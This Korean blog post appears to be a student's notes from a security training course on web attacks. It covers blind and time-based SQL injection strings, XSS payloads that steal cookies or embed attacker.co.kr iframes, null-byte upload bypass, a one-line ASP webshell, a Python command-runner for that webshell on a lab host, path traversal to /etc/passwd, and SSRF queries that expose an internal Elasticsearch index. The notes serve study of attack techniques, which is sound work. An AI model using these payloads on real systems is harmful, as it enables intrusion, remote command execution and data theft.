2022. 7. 16. 23:43ㆍ보안/케이쉴드
저번주 이어서
blind sql 인젝션
db 에러 페이지가 노출이 되지 않거나 취약점 존재를 판단하기 어려운 경우
방법 - 참 거직 쿼리의 반응이 서로 다름을 확인
> 참 쿼리에 대상의 반응, 거짓 쿼리의 대상의 반응이 다를때
점검 방법
' and 1=1 -- 참
' and 1=2 -- 거짓
저번 시간
db_name() 에러확인 > ' and db_name() > 1--
>>>>
블라인드로 > db_name()의 첫글자가 a~z니? 를 물어봄
' and 'o' = substring(db_name(),1,1) --
툴로 사용할떄 아스키 코드로 검색하면 유리하다. > 값 증가가 편하다 + 이진트리 같은 알고리즘을 사용할때 무한 루프를 방지할 수 있다.
' and 111 = ascii(substring(db_name(),1,1)) --
첫번째 테이블
=> ' and 111 = ascii(substring((select top 1 table_name from information_schema.tables),1,1)) --
Time_based
'; if 1=1 waitfor delay '0:0:3' --
정보를 수집하는데 시간이 걸린다
블라인드 하위 항목임
xss (cross site scripting)
- owasp 인젝션 항목에 포함됨
- reflected
진단시 alert로 진단 가능
<script> alert("xss"); </script>
or
"> <script> alert("xss"); </script> (reflected 반사형)
많이 확인하는거 ( stored 저장형)
alert(document.cookie) - 쿠키정보확인
<iframe src="www.~~"> </iframe> -리다이렉션
파일 업로드
확장자가 달라서 못올리는 경우
종단문자 우회 =
webshell.asp%00.jpg
https://ch4njun.tistory.com/74참조
웹쉘은 파일이 커서 찾기가 쉽다
> 차단하기가 쉬움
>>그래서 나온 한줄 웹쉘
<% eval request("cmd") %>
response.write(Server.CreateObject("WSCRIPT.SHELL").("cmd.exe > /c [command]").stdout.readall
http://10.200.40.9/demoshop/shop_board/upload_file/oneline.asp?cmd=response.write(Server.CreateObject(%22WSCRIPT.SHELL%22).exec(%22cmd.exe%20%3E%20/c%20ipconfig%22).stdout.readall)와 같은 형태
포스트 방식으로
결과
파일 다운로드 취약점
다운 로드할때 경로를 ./././././(......//)를 통해서 etc passwd에 접근하기도 한다.
ip가 막혀있으면
짜피 2진수로 바뀌니까 dns에 10진수 값을 넣는다
XSS(Cross Site Scripting)
- OWASP에 '인젝션' 항목에 포함됨
- Reflected or Stored
- 취약점 진단 (실제 진단 시 Alert을 많이 사용)
1. Reflected (반사형)
= "><script>alert("xss");</script>
= "><script>alert(document.cookie);</script>
= "><iframe src="http://attacker.co.kr"></iframe>
2. Stored (저장형)
- 점검구문 예시
= <script>alert("xss");</script>
= <script>alert(document.cookie);</script>
= <iframe src="http://attacker.co.kr"></iframe>
File Upload
- 종단문자 우회
= webshell.asp%00.jpg
- 한줄 웹쉘 만들기
= 웹쉘: <% eval(request("cmd")) %>
[python3 code]
import requests
webshellName = "oneline.asp"
url = "http://10.200.198.9/demoshop/shop_board/upload_file/"+webshellName
userCommand = input("Input Command : ")
setParams = 'response.write(Server.CreateObject("WSCRIPT.SHELL").exec("cmd > /c '+userCommand+'").stdout.readall)'
payload = {'cmd' : setParams}
response = requests.post(url, payload)
print(response.text)
---웹 로그 비교
[GET]
2022-07-15 03:15:21 10.200.198.9 GET /demoshop/shop_board/upload_file/oneline.asp cmd=response.write(Server.CreateObject(%22WSCRIPT.SHELL%22).exec(%22cmd.exe%20%3E%20/c%20ipconfig%22).stdout.readall) 80 - 10.200.198.4 Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/100.0.4896.60+Safari/537.36 200 0 0 31
[POST]
2022-07-15 03:37:46 10.200.198.9 POST /demoshop/shop_board/upload_file/oneline.asp - 80 - 10.200.198.4 python-requests/2.25.1 200 0 0 218
SSRF
서버 측 요청 위조라는 뜻으로 CSRF와 달리 서버 측에서 요청을 위조하면서 발생하는 문제
일반적으로 외부에서도 접근 가능하도록 웹 서버를 운영하는 조직은 공인 IP 주소를 부여하여 인터넷에 공개
반면 조직 내부에서 사용하는 서버는 방화벽을 통해 외부 접근을 막거나
내부에서만 사용가능한 사설 IP를 할당
외부에서는 웹 서버만 접근이 가능
--> 웹 서버 내에서는 동일한 로컬 네트웍에 속해 있는 내부망들로 접속할 수 있음
해당 웹서버가 SSRF취약점이 있다면
공격자는 웹 서버를 통해 조작된 요청을 내부망으로 보냄
--> 내부망에서는 신뢰하는 접근이기 때문에 정상적으로 요청에 대한 응답
--> 공격자는 취약한 웹 서버를 통해 내부망의 응답 결과를 확인 가능
http://10.0.0.200:9200/_cat/indices?v
- 색인 통계 정보
- Index : 일종의 데이터 베이스
- bank라는 인덱스 확인
http://10.0.0.200:9200/bank/?pretty
http://10.0.0.200:9200/bank/_search/?size=10
- 저장된 개인정보 노출
= Document 질의
'보안 > 케이쉴드' 카테고리의 다른 글
오프라인 8일차 (원격 조종_pc 점령하기) (0) | 2022.07.21 |
---|---|
오프라인 7일차 (웨협에 대응하기 위한 보안 환경의 이해) (0) | 2022.07.18 |
오프라인 5일차 (웹 서비스 기반 주요 위협) (0) | 2022.07.11 |
4일차 공통 교육 과정(윈도우) (0) | 2022.07.10 |
오프라인 4일차 (ARP 스푸핑 실습, DoS) (0) | 2022.07.07 |